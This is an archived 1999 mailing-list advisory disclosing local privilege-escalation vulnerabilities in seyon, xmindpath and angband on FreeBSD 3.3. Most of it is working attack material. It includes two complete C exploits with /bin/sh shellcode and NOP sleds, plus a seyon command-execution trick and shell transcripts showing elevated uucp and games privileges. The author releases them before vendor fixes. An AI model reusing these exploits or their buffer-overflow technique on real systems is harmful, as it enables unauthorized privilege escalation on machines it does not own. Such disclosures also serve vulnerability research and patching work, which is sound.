Several FreeBSD-3.3 vulnerabilities

From: Brock Tellier (btellierat_private)
Date: Tue Nov 30 1999 - 15:08:29 PST

  • Next message: Brock Tellier: "Solaris 2.x chkperm/arp vulnerabilities"

    Greetings,
    
    RANT
    I've given the FreeBSD team about a month to get something official together. 
    Maintainers were supposedly contacted, but no progress has been made.  As
    promised, here are the goods:
    
    OVERVIEW
    Vulnerabilities in seyon, xmindpath and angband can be used to upgrade
    privileges.
    
    BACKGROUND
    All of the vulnerabilities discussed herein are based on my work on
    FreeBSD 3.3-RELEASE. Each of the programs was installed with the
    default permissions given when unpacked with sysinstall. 
    These permissions are:
    -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
    -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath
    -r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband
    These programs may be installed on other systems with different
    permissions as a result of a version change or a different packing
    scheme.
    
    DETAILS
     
    Vuln #1 The Seyon Mess
     
    To summarize: Seyon was supposedly not meant to run with additional
    privileges. There are numerous problems with seyon and I've probably not
    found all of them. They are:
     
    Buffer Overflows:
     1. $HOME
     2. seyon -emulator $BUF
     3. seyon -modems $BUF
     4. many long text box input string overflows while in program
    Input Validation:
     1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with
     fullprivs (as noted in previous advisory)
     2. seyon -emulator /program/to/execute/with/full/privs
      
    These privileges might be upgradable to root if you are able to a.
    trojan a dialer-writable file or b. use a symlink attack to clobber .rhosts or
    similar c. snoop device i/o.
     
    Vuln #2 xmindpath
    
    /usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer
    overflow which will allow any user to gain uucp privs. Simply enough:
    xmindpath -f $BUF
    
    See my "faxalter" advisory for more info on gaining root w/euid uucp.
     
    Vuln #3 fun and egid games
     
    Want to impress your friends with the highest tetris score known to man?
     
    Gain egid games with a buffer overflow in /usr/X11R6/bin/angband. The
    overflows are:
     angband -u$BUF
     angband -d$BUF
     
    EXPLOITS
     
    Seyon:
    I've not written buffer overflow exploits for Seyon since an
    equivalent-yield program execution vulnerability exists, but it is
    certianly possible. The latter exploit is:
    seyon -emulator /program/to/execute
     
    Note that you'll have to execute a program that will ignore the args
    that seyon passes to it automatically as shown:
     
    bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
    bash-2.03$ gcc -o id id.c
    bash-2.03$ seyon -emulator ./id
    uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer),
    1000(xnec)
     
    xmindpath:
    bash-2.03$ ls -la `which xmindpath`; id
    -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath
    uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
    bash-2.03$ ./xmindx
    FreeBSD xmindpath exploit /path/to/xmindpath -f $RET
    Brock Tellier btellierat_private
    Using addr: 0xbfbfcfa8
    bash-2.03$ xmindpath -f $RET
    lock open: File name too long
    $ id
    uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec)
    $
     
    /*
     *
     * FreeBSD 3.3 xmindpath exploit gives euid uucp
     * Compile: gcc -o xmindx xmindx.c
     * Usage: ./xmindx <offset>
     /path/to/mindpath -f $RET
     * Brock Tellier <btellierat_private>
     *
     */
     
     
     #include <stdlib.h>
     #include <stdio.h>
     
     char shell[]= /* mudgeat_private */
     "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
     "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
     "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
     "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
     
     #define EGGLEN 2048
     #define RETLEN 279
     #define ALIGN 3
     #define NOP 0x90
    
     int main(int argc, char *argv[]) {
     
     long int offset=0;
     int i;
     int egglen = EGGLEN;
     int retlen = RETLEN;
     long int addr = 0xbfbfcfa8;
     char egg[EGGLEN];
     char ret[RETLEN];
      
     if (argc == 2) offset = atoi(argv[1]);
     
     addr=addr + offset;
     
     fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
     fprintf(stderr, "Brock Tellier btellierat_private\n");
     fprintf(stderr, "Using addr: 0x%x\n", addr);
      
     memset(egg,NOP,egglen);
     memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));
      
     for(i=ALIGN;i< retlen;i+=4)
     *(int *)&ret[i]=addr;
      
     memcpy(egg, "EGG=", 4);
     putenv(egg);
     memcpy(ret,"RET=",4);
     putenv(ret);
      
     system("/usr/local/bin/bash");
      
     }
     
     
    angband:
     
    bash-2.03$ gcc -o angames angames.c
    bash-2.03$ angband `./angames`
    eip=0xbfbfc6b4 offset=0 buflen=1095
    NOPs to 1021
    Shellcode to 1088
    eip to 1092
    garbage to 1094
    $ id
    uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec)
    $ 
    
    /* FreeBSD 3.3 angband exploit yields egid of group games
    * usage: gcc -o angames angames.c
    /path/to/angband `./angames <offset>`
    * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
    * Brock Tellier <btellierat_private>
    */
    
    
    #include <stdio.h>
    
    char shell[]= /* mudgeat_private */
    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
     
     
    main (int argc, char *argv[] ) {
    int x = 0;
    int y = 0;
    int offset = 0;
    int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
    char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
    char arg[bsize + 2];
    int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
     
    if (argv[1]) { 
    offset = atoi(argv[1]);
    eip = eip + offset;
    }
    fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
     
    for ( x = 0; x < 1021; x++) buf[x] = 0x90;
    fprintf(stderr, "NOPs to %d\n", x);
     
    for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
    fprintf(stderr, "Shellcode to %d\n",x);
     
    buf[x++] = eip & 0x000000ff;
    buf[x++] = (eip & 0x0000ff00) >> 8;
    buf[x++] = (eip & 0x00ff0000) >> 16;
    buf[x++] = (eip & 0xff000000) >> 24;
    fprintf(stderr, "eip to %d\n",x);
    buf[x++] = 'X';
    buf[x++] = 'X';
    fprintf(stderr, "garbage to %d\n", x);
    
    buf[bsize - 1] = '\0';
    
    sprintf(arg, "-u%s", buf);
    arg[bsize + 1] = '\0';
     
    printf("%s", arg);
     
    }
    
    Brock Tellier
    UNIX Systems Administrator
    Chicago, IL, USA
    
    ____________________________________________________________________
    Get free email and a permanent address at http://www.netaddress.com/?N=1
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:15:25 PDT